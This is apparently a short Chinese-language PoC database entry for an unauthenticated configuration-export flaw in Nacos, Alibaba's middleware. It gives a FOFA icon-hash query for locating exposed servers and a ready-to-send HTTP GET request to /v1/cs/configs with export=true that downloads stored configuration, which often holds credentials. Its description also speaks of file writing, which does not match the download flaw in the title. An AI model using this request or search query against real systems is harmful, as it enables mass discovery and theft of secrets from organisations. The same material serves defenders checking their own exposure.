Nacos未授权下载配置信息

2024-06-05 Nacos PoC Public

Description

Nacos是阿里开放的一款中间件，它主要提供三种功能：持久化节点注册，非持久化节点注册和配置管理。系统存在未鉴权的接口，攻击者可直接写入文件

PoC

# Nacos未授权下载配置信息



Nacos未授权下载配置信息



## fofa



```javascript

icon_hash="13942501"

```



## poc



```java

GET /v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId= HTTP/1.1

Host: 

```



![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409191401675.png)

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2024-7227.html

Related Vulnerabilities